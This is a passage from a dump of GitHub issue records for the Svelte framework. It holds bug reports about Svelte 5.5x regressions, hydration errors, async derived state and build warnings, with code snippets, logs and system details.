./node_modules/.bin/esbuild --bundle --outfile=dist/server/app.server.cjs --format=cjs --allow-overwrite dist/server/app.server.js
✘ [ERROR] Could not resolve ""node:crypto""

    dist/server/app.server.js:267:6:
      267 │       ""node:crypto""
          ╵       ~~~~~~~~~~~~~

  The package ""node:crypto"" wasn't found on the file system but is built into node. Are you trying
  to bundle for node? You can use ""--platform=node"" to do that, which will remove this error.

1 error
make: *** [makefile:3: build] Error 1
```

### System Info

```shell
System:
    OS: Linux 6.12 Debian GNU/Linux 13 (trixie) 13 (trixie)
    CPU: (32) x64 AMD Ryzen 9 5950X 16-Core ... [TRUNCATED]",,2026-02-20T21:29:54Z,2026-02-21T19:34:39Z,9
sveltejs/svelte,3969543841,[>= 5.52.0] Error when overriding derived using onclick handlers of custom button components,"### Describe the bug

Overriding derived variables using click handlers of custom button components, for example [bits ui button](https://bits-ui.com/docs/components/button), raises unexpected errors. This does not allow to upgrade svelte version to >= 5.52.0.
**Example code:**

```svelte
<script>
    // Post.svelte
	import { Button } from ""bits-ui"";

	let { post } = $props();

	let likes = $derived(post.likes);

</script>
<!-- This works -->
<!-- <button onclick={() => { likes++; }}>
	🧡 {likes}
</button> -->

<!-- This doesn't work -->
<Button.Root onclick={() => { likes++; }}>
	🧡 {likes}
</Button.Root>

```

```svelte
<script>
    //+page.svelte
	import Post from ""$lib/components/Post.svelte""
</script>

<h1>Welcome to SvelteKit</h1>
<p>Visit <a href=""https://svelte.dev/docs/kit"">svelte.dev/docs/kit</a> to read the documentation</p>

<Post post={{content: 'post', likes: 0}} />
```

### Reproduction

https://github.com/[sukeshpabolu/derived-override-bug](https://github.com/sukeshpabolu/derived-override-bug)

- install dependencies using command similar to `pnpm install`
- run dev server using command similar to `pnpm dev`
- Open dev server in the browser to see the error or in the terminal.

### Logs

```shell

RollupError: Parse failure: The left-hand side of an assignment expression must be a variable or a property access.
At file: /src/lib/components/Post.svelte:18:6
    at getRollupError (file:///C:/Users/abcdefg/Documents/sveltekit-increment-bug/node_modules/.pnpm/rollup... [TRUNCATED]",bug,2026-02-20T17:15:18Z,2026-02-21T19:33:49Z,2
sveltejs/svelte,3967840808,svelte-package + Tailwind CSS: where to import base CSS and get utility classes in the consuming app?,"### Describe the bug

I have a monorepo with two packages: a main app and a component library created with library mode in the Svelte CLI (`npx sv create`). The library uses Tailwind. When I import the library in the main app, its Tailwind utility classes are not generated.

- I can't import base CSS in src/routes because this is a library, not an app.

- Importing it in src/lib/index.ts doesn't work: app.css lives in src/, outside src/lib, and svelte-package only processes src/lib, so the import path breaks in the built output.

- The packaging docs mention sideEffects: [""**/*.css""] but don't explain where to import base CSS or how to make Tailwind classes from the library work in the consuming app.

Is there a recommended way to include base CSS in a svelte-package library and have its Tailwind classes generated when the library is used in another app?

### Reproduction

Here is a minimal reproduction example: https://github.com/OmidNejadabbasi/sveltekit-lib-with-tw
I have added any code for applying tailwind. I want you to tell me what is the best way to solve problem explained in the repo README.md. 

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 10 10.0.19045
    CPU: (8) x64 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
    Memory: 7.14 GB / 23.79 GB
  Binaries:
    Node: 25.2.1 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.22 - C:\Users\omidne\AppData\Roaming\npm\yarn.CMD
    npm: 10.7.0 - C:\Program Files\nodejs\npm.CMD
    pnpm: 9.15... [TRUNCATED]",,2026-02-20T10:39:28Z,2026-02-20T23:45:18Z,0
sveltejs/svelte,3966786710,"set_text coerces objects to primitives, not strings","### Describe the bug

The [documentation](https://svelte.dev/docs/svelte/basic-markup#:~:text=all%20others%20are-,coerced%20to%20strings,-.) says,

> A JavaScript expression can be included as text by surrounding it with curly braces.
>```
>{expression}
>```
>Expressions that are null or undefined will be omitted; all others are [coerced to strings](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#string_coercion).

Placing an expression in curly braces sometimes produces code that embeds the expression in a template string, which correctly coerces it to a string first:
```js
$.set_text(text, `${value ?? ''} `);
```
However, other times code is produced that passes the expression directly to `set_text`:
```js
$.set_text(text_1, value);
```
and `set_text` then [concatenates the value with `+ ''`](https://github.com/sveltejs/svelte/blob/0c7f815143c878d4c2819e45e5f2992da1209f63/packages/svelte/src/internal/client/render.js#L48), which actually coerces it to a primitive (by first trying `valueOf`), not a string.

This has observable, real-world effects. For example, Temporal types support `toString`, but [throw on `valueOf`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Temporal/Duration/valueOf#exceptions).

#15287 seems related to determining which form to emit. Because it's effectively predicated on a compiler heuristic, it's tricky as an end-user to work out why correct-looking code sometimes works and ... [TRUNCATED]",,2026-02-20T06:08:55Z,2026-02-22T13:40:50Z,2
sveltejs/svelte,3961254131,Possible regression introduced in 5.52+,"### Describe the bug

Starting from Svelte v5.52.0, I am noticing an error relating to Rollup.

```
RollupError: Parse failure: Expected '{', got '('
At file: /node_modules/layerchart/dist/utils/scales.svelte.js:138:30
    at getRollupError (file:///.../node_modules/rollup/dist/es/shared/parseAst.js:401:41)
    at convertProgram (file:///.../node_modules/rollup/dist/es/shared/parseAst.js:1098:26)
    at parseAstAsync (file:///.../node_modules/rollup/dist/es/shared/parseAst.js:2084:106)
    at async ssrTransformScript (file:///.../node_modules/vite/dist/node/chunks/config.js:15374:9)
    at async loadAndTransform (file:///.../node_modules/vite/dist/node/chunks/config.js:22701:64)
```


### Reproduction

create a svelte 5 project with v5.52+ and install shadcn-svelte with charts. Run the project

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Arch Linux
    CPU: (8) x64 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
    Memory: 8.21 GB / 15.47 GB
    Container: Yes
    Shell: 5.9 - /usr/bin/zsh
  Binaries:
    Node: 25.6.0 - /usr/bin/node
    npm: 11.8.0 - /usr/bin/npm
    bun: 1.3.4 - /home/naya/.local/share/mise/installs/bun/1.3.1/bin/bun
  Browsers:
    Chromium: 144.0.7559.109
  npmPackages:
    svelte: ^5.52.0 => 5.52.0
```

### Severity

blocking an upgrade",,2026-02-19T06:38:39Z,2026-02-19T22:18:07Z,7
sveltejs/svelte,3960158643,Fix change-log and release list format,"### Describe the problem

[svelte@5.53.0](https://github.com/sveltejs/svelte/releases/tag/svelte%405.53.0) release broke the list structure:

<img width=""1482"" height=""737"" alt=""Image"" src=""https://github.com/user-attachments/assets/cc191a94-8ecb-4ad2-b19a-cb9f8bc120f3"" />

<img width=""1512"" height=""1364"" alt=""Image"" src=""https://github.com/user-attachments/assets/08b35a21-14f3-495b-a3d4-3f58173cd86f"" />

### Describe the proposed solution

-

### Importance

nice to have",,2026-02-18T23:01:59Z,2026-02-19T16:41:45Z,0
sveltejs/svelte,3957075432,False dynamic component with $effect.pre() results in 'Failed to hydrate',"### Describe the bug

This is a follow up of #17408 

If the initially false component is set to a valid one in `$effect.pre()`, then subsequent hydration will generate an error in the browser.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-ax4pssw5?file=src%2Froutes%2F%2Bpage.svelte

`+page.svelte`
```svelte
<script>
	import HelloWorld from './HelloWorld.svelte';

	let Component = $state();

	$effect.pre(() => {
		Component = HelloWorld;
	});
</script>

<h1>Falsy component & $effect.pre() test</h1>

<Component/>
```

`HelloWorld.svelte`
```svelte
<script>
  let text = $state();

  $effect(() => {
    text = 'world';
  });
</script>

<div>Hello {text}</div>
```
`Browser console`
```
Failed to hydrate:  HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.

	in <unknown>
	in +page.svelte
	in +layout.svelte
	in root.svelte
	in undefined
...
```

### Logs

```shell

```

### System Info

```shell
Svelte 5.51.3
SvelteKit 2.52.0
```

### Severity

annoyance",,2026-02-18T10:18:56Z,2026-02-18T20:34:39Z,0
sveltejs/svelte,3953967662,[5.49.2] Hydration mismatch in prod,"### Describe the bug

I just noticed that there is an hydration mismatch in prod introduced with the v5.49.2
It does not happen in dev.
I didn't catch it earlier because it happens only on direct access, client side navigation works as expected.

### Reproduction

Unable to find the root cause for now. prod only issues are a pain.
It's a combination of async, if and snippet.

### Logs

```shell
Unhelpful hydration mismatch warning + error
```

### System Info

```shell
System:
    OS: Linux 5.15 Debian GNU/Linux 13 (trixie) 13 (trixie)
    CPU: (16) x64 AMD Ryzen 9 7940HS w/ Radeon 780M Graphics
    Memory: 9.92 GB / 15.23 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    bun: 1.3.10 - /usr/local/bin/bun
  npmPackages:
    svelte: 5.53.10
```

### Severity

blocking an upgrade",awaiting submitter,2026-02-17T17:50:38Z,2026-03-17T11:48:27Z,3
sveltejs/svelte,3951415567,Rollup warning @__PURE__ since 5.51.0,"### Describe the bug

After upgrading to version 5.51.0 our build system using Rollup give the following warnings:

```
node_modules/svelte/src/internal/client/constants.js (70:24): A comment

""/* @__PURE__ */""

in ""node_modules/svelte/src/internal/client/constants.js"" contains an annotation that Rollup cannot interpret due to the position of the comment. The comment will be removed to avoid issues.

node_modules/svelte/src/internal/client/dom/reconciler.js (5:15): A comment

""/* @__PURE__ */""

in ""node_modules/svelte/src/internal/client/dom/reconciler.js"" contains an annotation that Rollup cannot interpret due to the position of the comment. The comment will be removed to avoid issues.
```

Which is located in the following files:
https://github.com/sveltejs/svelte/blob/82265f14965fef95289bdb41baba5ffbbff1fcd6/packages/svelte/src/internal/client/constants.js#L70
https://github.com/sveltejs/svelte/blob/82265f14965fef95289bdb41baba5ffbbff1fcd6/packages/svelte/src/internal/client/dom/reconciler.js#L5

<img width=""863"" height=""182"" alt=""Image"" src=""https://github.com/user-attachments/assets/ce505524-dfbb-415f-9eef-5b29fa000023"" />

### Reproduction

https://stackblitz.com/edit/stackblitz-starters-cipx9fpu?file=package.json

```sh
npm install
npm run build
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.6 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (8) x64 Intel(R) Core(TM) Ultra 7 258V
    Memory: 2.28 GB / 15.38 GB
    Container: Yes
 ... [TRUNCATED]",,2026-02-17T08:06:30Z,2026-02-17T10:11:07Z,2
sveltejs/svelte,3950636697,#each key with array blows up,"### Describe the bug

https://svelte.dev/docs/svelte/each#Keyed-each-blocks

> The key can be any object

So I tried using array as a key for #each block:

```
{#each things as thing ([thing.group, thing.id])}
```

Works fine when page loads, but when data changes, it throws error.

Had to convert to string in order to get it working:

```
{#each things as thing ([thing.group, thing.id].join('-')}
```

So either docs need updating, or #each needs fixing to support array keys

### Reproduction

https://svelte.dev/playground/1db5362a3e974b209b11ae389758c93f?version=5.51.2

Click button, check browser console.

### Logs

```shell
playground:output:5619 Uncaught TypeError: Cannot read properties of undefined (reading 'e')
    at reconcile (playground:output:5619:54)
    at commit (playground:output:5450:4)
    at Batch.process (playground:output:1109:46)
    at flush_effects (playground:output:1484:11)
    at Batch.flush (playground:output:1244:5)
    at Array.eval (playground:output:1417:13)
    at run_all (playground:output:126:10)
    at run_micro_tasks (playground:output:739:3)
    at eval (playground:output:757:32)
```

### System Info

```shell
System:
    OS: macOS 26.3
    CPU: (14) arm64 Apple M4 Pro
    Memory: 439.02 MB / 24.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.10.0 - /Users/kieran/.local/share/mise/installs/node/24.10.0/bin/node
    npm: 11.6.1 - /Users/kieran/.local/share/mise/installs/node/24.10.0/bin/npm
    pnpm: 10.29.3 - /Users/kieran/.local/... [TRUNCATED]",,2026-02-17T03:55:42Z,2026-02-17T21:38:13Z,1
sveltejs/svelte,3949941057,`print(parse(code))` produces broken code,"### Describe the bug

See reproduction
1. The keyword `module` is missing.
2. The keyword `in` has been replaced with `extends`.
3. `;}` in `@const` expression

### Reproduction

https://svelte.dev/playground/hello-world?version=5.51.2#H4sIAAAAAAAAA3WQQU_DMAyF_4plDtukahVwK9sEN8QEHDgukwiNC4E0iRKPgaL8d5RuiA3BLXl-tp-_hFb2hA1ekzEOti4YBWNSmklNsMJOG4rYrBLypy--ImD13XXl_TS-k-GiPclIf-mts0yWIzY4i23QnhfCCta9d4EhgZchUgU-aMuQoQuuh9Guu25d77WhMLoQ9qCpdYr2xmmtJMvpaxwJO6t_5tuZD7RIxZlndXkP4kuA-qA8LB0PCcbFWkGC3ikKtgEOG4I8mUyPZmCFTB-MTSnn6h8w-0zHVH7EAyT0MVykqJMbw_C4RwRG2ue5QI4CB1yKWiMDlXQbQyBwR0ggpLxjU4LALcwhlZ_g1RK0hTf6dB3cPNzfrRtYlkr-BSqd6G44tszhdNk6Gxk652AOp2fnWdhU6y4L-3h8-7pCltpstVXYdNJEyl-slgCKTwIAAA

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.12 cpe:/o:nixos:nixos:25.11 25.11 (Xantusia)
    CPU: (8) x64 Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz
    Memory: 1.76 GB / 7.64 GB
    Container: Yes
    Shell: 5.3.3 - /run/current-system/sw/bin/bash
  Binaries:
    Node: 24.13.0 - /nix/store/956qv0nylc2sbj7fdbycfl6l5bm1hs47-nodejs-24.13.0/bin/node
    npm: 11.6.2 - /nix/store/956qv0nylc2sbj7fdbycfl6l5bm1hs47-nodejs-24.13.0/bin/npm
    pnpm: 10.28.0 - /nix/store/h8b8sm58mryc12cl12jn8h04v68wi96j-pnpm-10.28.0/bin/pnpm
  Browsers:
    Brave Browser: 144.1.86.146
  npmPackages:
    svelte: ^5.51.2 => 5.51.2
```

### Severity

annoyance",,2026-02-16T23:14:20Z,2026-05-02T07:47:19Z,2
sveltejs/svelte,3948459315,Problem with subsequent await calls.,"### Describe the bug

When navigating between pages that use `<svelte:boundary>` and `await` before the promise is completed, the page appears to enter a kind of loop and freezes.

### Reproduction

https://www.sveltelab.dev/38u56p3y900qs0p

1. Access the link above.
2. Navigate between the pages before the Promise is resolved.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.8 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (8) x64 Intel(R) Core(TM) i5-10300H CPU @ 2.50GHz
    Memory: 3.89 GB / 15.49 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 22.22.0 - /usr/bin/node
    npm: 10.9.4 - /usr/bin/npm
  Browsers:
    Firefox: 147.0.3
    Firefox Developer Edition: 147.0.3
```

### Severity

blocking an upgrade",,2026-02-16T16:00:08Z,2026-02-25T16:02:57Z,0
sveltejs/svelte,3943754128,Uncaught TypeError: stop is not a function,"### Describe the bug

Error happens on this line: https://github.com/sveltejs/svelte/blob/82265f14965fef95289bdb41baba5ffbbff1fcd6/packages/svelte/src/reactivity/create-subscriber.js#L83

Because `stop`, which comes from `stop = untrack(() => start(() => increment(version)));` is apparently sometimes an instance of `SafeSubscriber`, which seems to be more like a class instance than a function.

### Reproduction

Well I noticed the error in one of my own playgrounds:
https://svelte.dev/playground/b6b4d03d258f4cb2a0248b0859ae3f28?version=5.51.1

To reproduce, first click the button that says ""CLICK HERE"" and then the button that says ""Toggle Foo"".

### Logs

```shell
playground:output:2062 Uncaught TypeError: stop is not a function
    at Array.eval (playground:output:2062:15)
    at run_all (playground:output:144:10)
    at run_micro_tasks (playground:output:963:3)
    at eval (playground:output:981:32)
eval	@	playground:output:2062
run_all	@	playground:output:144
run_micro_tasks	@	playground:output:963
eval	@	playground:output:981
```

### System Info

```shell
N/A
```

### Severity

annoyance",,2026-02-15T10:37:02Z,2026-02-15T11:27:32Z,1
sveltejs/svelte,3943103297,await isn't allowed in non-async function,"### Describe the bug

```svelte
<button
  type=""button""
  onclick={async () => {
    await console.log(Date.now());
  }}
>
  Button
</button>
```

```
Error compiling component

virtual://$/App.svelte (4:8): await isn't allowed in non-async function (Note that you need plugins to import files that are not JavaScript)
```

### Reproduction

Broken since 5.51.1:
 
- https://svelte.dev/playground/589ac1fcf2ae48cfaa4371548bd12a32?version=5.51.1
- https://svelte.dev/playground/589ac1fcf2ae48cfaa4371548bd12a32?version=5.51.0

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

blocking an upgrade",,2026-02-15T04:46:49Z,2026-02-15T09:44:25Z,4
sveltejs/svelte,3941213412,regression in 5.50.3 - Cannot read properties of undefined (reading 'includes'),"### Describe the bug

Reported in discord:
> I'm trying to update svelte from v5.50.1 to v5.51.0 but it is causing an error (Cannot read properties of undefined (reading 'includes')) when running wxt prepare as a postinstall script (wxt is a web extension development framework)


I guess `document.contentType` is `undefined` in browser extensions here:
https://github.com/sveltejs/svelte/blob/220b526d3aac9db5ba06181165a9c24a663f178b/packages/svelte/src/internal/client/constants.js#L70

### Reproduction

```shell
git clone https://github.com/schooltape/schooltape
cd schooltape
bun install
# wxt prepare should run as a postinstall script but can be triggered manually with:
bun run postinstall
```

### Logs

```shell
ERROR  Cannot read properties of undefined (reading 'includes')                                                                                                                                                                                                            10:03:04 pm

    at node_modules/svelte/src/internal/client/constants.js:70:73
    at ViteNodeRunner.runModule (node_modules/vite-node/dist/client-CyS7w_FB.mjs:369:44)
    at ViteNodeRunner.directRequest (node_modules/vite-node/dist/client-CyS7w_FB.mjs:349:14)
    at ViteNodeRunner.cachedRequest (node_modules/vite-node/dist/client-CyS7w_FB.mjs:182:11)
    at ViteNodeRunner.dependencyRequest (node_modules/vite-node/dist/client-CyS7w_FB.mjs:229:10)
    at node_modules/svelte/src/internal/client/reactivity/e... [TRUNCATED]",runtime,2026-02-14T11:44:01Z,2026-02-14T12:30:03Z,0
sveltejs/svelte,3939073047,`$derived` with `await` delays source `$state` update,"### Describe the bug

When you use a state in a `$derived` syntax with `await`, the state update does not trigger a render until the async process completes


### Reproduction

```svelte
<script>
	let count = $state(0); // not updated immediately
	let count2 = $derived(await f(count));

	function f(n) {
		return new Promise((f) => setTimeout(() => f(n), n + 1000));
	}
</script>

<button onclick={() => count += 1}>
	clicks: {count} / {count2}
</button>
```

- Playground: https://svelte.dev/playground/0841bb05b5fa408f883edd59210479f6?version=5.51.0

When the state `count` is update, the template `{count}` is not updated until the derived `count2` update completes

FYI we can use `$effect` to avoid the problem:

```ts
let count = $state(0);
let count2 = $state(0);
$effect(async () => (count2 = await f(count)));
```

- Playground (solved by `$effect`): https://svelte.dev/playground/de9de5cac71c43ec9dbc7f15f652f1e4?version=5.51.0


### Logs

```shell

```

### System Info

```shell
N/A
```

### Severity

annoyance",,2026-02-13T20:34:06Z,2026-02-14T12:33:58Z,3
sveltejs/svelte,3937805439,"+error.svelte not triggered correctly when navigating, leaving the app broken","### Describe the bug

For sveltekit, +error.svelte doesn't seem to be working right.
- An error that happens during route setup is acting very differently depending on whether you load the page on that route, or whether you click to that route from a different page. In my repro linked below, if you directly open `http://localhost:5173/bad-route-svelte`, then you get an error page as expected. However, if you click to that route from home, then the error gets just logged to the console, and after that the whole app is dead, navigation to other links doesn't work anymore. This is the case both for a regular Error throw or the sveltekit error with a statuscode.

- A javascript error after setup that bubbles up to the top never triggers +error.svelte, also not if you throw the sveltekit error(500, ""server error""), (this can be done using the buttons in my repro repository). It just becomes a log in the browser's console, but at least the rest of the app keeps on working. Maybe this should be added to the documentation, that +error doesn't apply to this.

### Reproduction

Here's a small reproduction repository: https://github.com/mathijs81/sveltekit-error-reproduction

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (16) x64 AMD Ryzen 9 5900HX with Radeon Graphics
    Memory: 19.49 GB / 30.75 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 25.6.0 - ~/.local/share/mise/in... [TRUNCATED]",,2026-02-13T15:45:43Z,2026-02-14T12:41:04Z,1
sveltejs/svelte,3937559021,Uncaught TypeError: Cannot read properties of undefined (reading 'delete') on page change since Svelte 5.50.3,"### Describe the bug

Since updating to Svelte version 5.50.3, I am encountering the following error on every page change:
`Uncaught TypeError: Cannot read properties of undefined (reading 'delete')`.

The error is thrown in:
`// node_modules/.pnpm/svelte@5.50.3/node_modules/svelte/src/internal/client/dom/elements/bindings/size.js` inside the class `ResizeObserverSingleton` inside the following function:

```js
observe(element2, listener) {
  var listeners = this.#listeners.get(element2) || /* @__PURE__ */ new Set();
  listeners.add(listener);
  this.#listeners.set(element2, listeners);
  this.#getObserver().observe(element2, this.#options);
  return () => {
    var listeners2 = this.#listeners.get(element2);
    listeners2.delete(listener); // <- ERROR
    if (listeners2.size === 0) {
      this.#listeners.delete(element2);
      this.#observer.unobserve(element2);
    }
  };
}
```

### Reproduction

I’m struggling to create a reproduction, but I’ll try over the weekend. For now, here’s a description of what’s happening:

- I have a login page that performs a sign-in via a remote function and then redirects to another page
- The dashboard immediately throws the error.
- It feels like the usage of `bind:clientWidth` and/or `bind:clientHeight` might somehow be related to it.

### Logs

```shell
Uncaught TypeError: Cannot read properties of undefined (reading 'delete')
    at chunk-QPHSKAB4.js?v=9506227f:3150:18
    at execute_effect_teardown (chunk-4Q2Y5S3O.js?v=9506227f:3108:... [TRUNCATED]",awaiting submitter,2026-02-13T14:51:02Z,2026-02-19T05:05:29Z,1
sveltejs/svelte,3935315873,Unmounting can break event handling,"### Describe the bug

In the `mount` function, if you pass the same `target` twice, it could cause event handling to completely break. An example of this is portals. If your app is mounted under `body` and a portal is also mounted under `body`, you can have `mount` called with the same `target` twice.

### Reproduction

https://svelte.dev/playground/948e793ddfe443f68548b22cec26789a?version=5.50.3

- Right-click the button. The context menu is shown correctly.
- Click the button to show the dialog, then click anywhere to close it, unmounting the portal.
- Right-clicking the button no longer works.

For some odd reason, this behavior can only be observed when a `contextmenu` event handler is added to the trigger using Svelte's `on` utility, causing the `oncontextmenu` handler internal to bits-ui to never receive the `contextmenu` event.

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.2
    CPU: (10) arm64 Apple M4
    Memory: 79.09 MB / 16.00 GB
    Shell: 4.4.0 - /opt/homebrew/bin/fish
  Binaries:
    Node: 24.13.0 - /Users/abdel/.local/share/mise/installs/node/24.13.0/bin/node
    npm: 11.6.2 - /Users/abdel/.local/share/mise/installs/node/24.13.0/bin/npm
    pnpm: 10.29.2 - /Users/abdel/.local/share/mise/installs/pnpm/10.29.2/pnpm
  Browsers:
    Firefox: 147.0.3
    Safari: 26.2
```

### Severity

annoyance",,2026-02-13T04:43:22Z,2026-02-13T16:23:49Z,2
sveltejs/svelte,3930751210,False negative for `state_referenced_locally` warning on not destructured `$props` access?,"### Describe the bug

I was looking for a workaround for #17669 and thought of not destructuring the `$props` directly; to my surprise there were no warnings at all.


### Reproduction

```js
const props = $props();
const { model } = props; // missing warning

const value = props.model.value; // missing warning
```

[Playground](https://svelte.dev/playground/untitled?version=5.50.2#H4sIAAAAAAAACn2QT4vCQAzFv0oIe1CQ9l51YY97lj1tPYxtXAam6TAT_1H63U0HUax1j3nvJeT3OmTTEBb4w2LFUY0L3FtHEYvfDuXiB28QVL8lv7zP4pGcDNrORJrSq5aFWPQMrmIVrJfPkktROQp00LQ1OehhDR8-tD7O5ku174GjcQdSM8WyNC0hz4HOniqhGk4msOW_klf54zrPNkTwzVUbgsZuz8z1G6GzYCHhQP3iDdV47Zltwv2XMEGN6Cbgk5vIGhujAj3AXstI4WxcycvivZFn7q1OxrqT5RqLvXGR-itXywVk_AEAAA)

### Logs

```shell

```

### System Info

```shell
REPL - Svelte v.5.50.2
```

### Severity

annoyance",,2026-02-12T09:23:23Z,2026-02-15T10:00:51Z,0
sveltejs/svelte,3928734857,Components that throw during mount doesn't remount after HMR,"### Describe the bug

If a component throws while being mounted, that would normally be fine because the developer could fix the code and Svelte would remount the component using HMR. But now, even without having async enabled, HMR fails to remount the component. I've bisected this down to #15844. And found a potential fix which I've made a PR for.

### Reproduction

The following reproductions are the same except for the version of Svelte and have a line of code that can be toggled on or off to have the component throw when it mounts.

latest (5.50.1): https://www.sveltelab.dev/32149g118o5egv7
pre-async (5.35.7): https://www.sveltelab.dev/3032460y2gelaoq

Reproduction steps:
1. Mount a component that has been compiled using the `hmr` compiler option.
2. Hot reload the component but have the component throw an exception on mount.
3. Hot reload the component but without an exception during mount.

(this excludes the playground since it doesn't use `hmr: true`)

### Logs

```shell

```

### System Info

```shell
n/a
```

### Severity

annoyance",,2026-02-11T21:18:39Z,2026-03-12T11:22:44Z,0
sveltejs/svelte,3928167822,Await block doesn't update if fulfilled immediately,"### Describe the bug

With Svelte 5, The `{#await promise}` block does not switch the content if the variable `promise` is resolved or rejected in the same cycle, like `promise = Promise.resolve()`. It works with Svelte 4

It works if you assign a new promise that is fulfilled over:

- `setTimeout()`
- `requestAnimationFrame()`
- `fetch()`
- `tick()` (Svelte)

But:

- `Promise.resolve()`
- [`queueMicrotask()`](https://developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide)

Assigning a new fulfilled promise instance is useful when it withdraws data from cache: `p = cache ? Promise.resolve(cache) : fetch(...)`

### Reproduction

```svelte
<script>
	let p = null;
</script>

<button on:click={()=>{
	p = new Promise((resolve, reject) => {
		resolve(); // not works
	});
}}>Resolve (immediate)</button>
<button on:click={()=>{
	p = new Promise((resolve, reject) => {
		setTimeout(() => resolve(), 1); // works
	});
}}>Resolve (timeout)</button>

<p>
	{#await p}
		...
	{:then v}
		resolved [{v}]
	{:catch err}
		err [{err}]
	{/await}
</p>
```

Playground:

- v5: https://svelte.dev/playground/5cdcb94abcca4206945455bdd73a8d01?version=5.50.1
- v4: https://svelte.dev/playground/5cdcb94abcca4206945455bdd73a8d01?version=4.2.20

### Logs

```shell

```

### System Info

```shell
N/A
```

### Severity

blocking an upgrade",,2026-02-11T19:03:47Z,2026-02-22T13:47:29Z,2
sveltejs/svelte,3951958069,Async derived causes `<title>` to not be updated,"### Describe the bug

If I use an async derived, the title in the head element doesn't get updated.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-lpchlpus?file=src%2Froutes%2Fabout%2F%5Bid%5D%2F%2Bpage.svelte

1. Observe the current page title
2. Navigate to the about page
3. Observe that it doesn't change

### Logs

```Shell

```

### System Info

```Shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    @sveltejs/adapter-auto: ^7.0.0 => 7.0.0 
    @sveltejs/kit: ^2.48.5 => 2.50.2 
    @sveltejs/vite-plugin-svelte: ^6.2.1 => 6.2.4 
    svelte: ^5.43.8 => 5.50.0 
    vite: ^7.2.2 => 7.3.1
```

### Severity

annoyance

### Additional Information

Workaround is to not use an async derived and to call the remote function directly.",,2026-02-10T15:27:56Z,2026-02-18T21:20:08Z,2
sveltejs/svelte,3914110739,"docs: clarify `$derived` `await` examples, dependency tracking","### Describe the problem

## 1

> An exception is that independent `$derived` expressions will update independently, even though they will run sequentially when they are first created:

```js
// these will run sequentially the first time,
// but will update independently
let a = $derived(await one());
let b = $derived(await two());
```

### 1-1

'run sequentially' is confusing.

For example, the promises can be created sequentially, but `b` can resolve first. The truth is:

> ...the second `$derived` will not be created until the first one has resolved.

Why not be specific like the quote in [`await_waterfall` docs](https://svelte.dev/docs/svelte/runtime-warnings#Client-warnings-await_waterfall)?

Clarification is needed because `$derived` isn't vanilla JavaScript.

```js
// this is intuitive. `two` is called after `one` is resolved.
await one();
await two();

// this is not intuitive
$derived(await one());
$derived(await two());
```

### 1-2

'update independently' is confusing.

Can `one` and `two` rerun? They don't have any dependencies.

```js
$derived(await one());
$derived(await two());
```

Example from query remote function seems better:

```js
let a = $derived(await one());
const post = $derived(await getPost(params.slug)); // params.slug is the dependency
```

## 2

> Anything read synchronously inside the `$derived` expression (or `$derived.by` function body) is considered a _dependency_ of the derived state.

Claude is complaining that `params.slug` is not read sy... [TRUNCATED]",documentation,2026-02-09T02:15:04Z,2026-03-22T18:29:12Z,1
sveltejs/svelte,3913026116,The current rendering/hydration implementation leads to an early `Maximum call stack size exceeded`,"### Describe the bug

I’m encountering a `Maximum call stack size exceeded` error at a relatively shallow component nesting depth.  

The issue became worse starting with `svelte@5.41.1`; before that, it only resulted in a hydration warning.


### Reproduction

[Playground](https://svelte.dev/playground/hello-world?version=5.50.0#H4sIAAAAAAAAA53S32qDMBQG8FcJZ4O24Cpa-09U2M3YO8xduHqEQJoEc9ZuBN99BBtay3LT24_fF77AsSCbI0IO7yiEYmfVi5bNseWE7QIi6LhAA_mHBfrVzrkAIt961XppTijIZV-Nwf_yg5KEkgzkUJhDzzVVtayJH7Xqib0pxbpeHdlsGXdKXWqzWhbxFcvCMYEnFKXN0oHFVS0hAsIfgpz6bxyiwMTrm9OJk_zBic4clDTE7DiODaxkz7pX2swXd1-wT7y7qLIsWTK4dqGrpIh1VUubozDIJib1Jg2blTersMm8ycJm7c06bDbebMJm6802bHbe7MJm783-1ozhzTGMhZdkPAkb8264v4zPCKjh4sxlC3nXuFf-AKM9fd33AgAA) (42)
[Solid](https://playground.solidjs.com/anonymous/7a4c474e-d042-466e-bafc-193165c6289e) (600+)
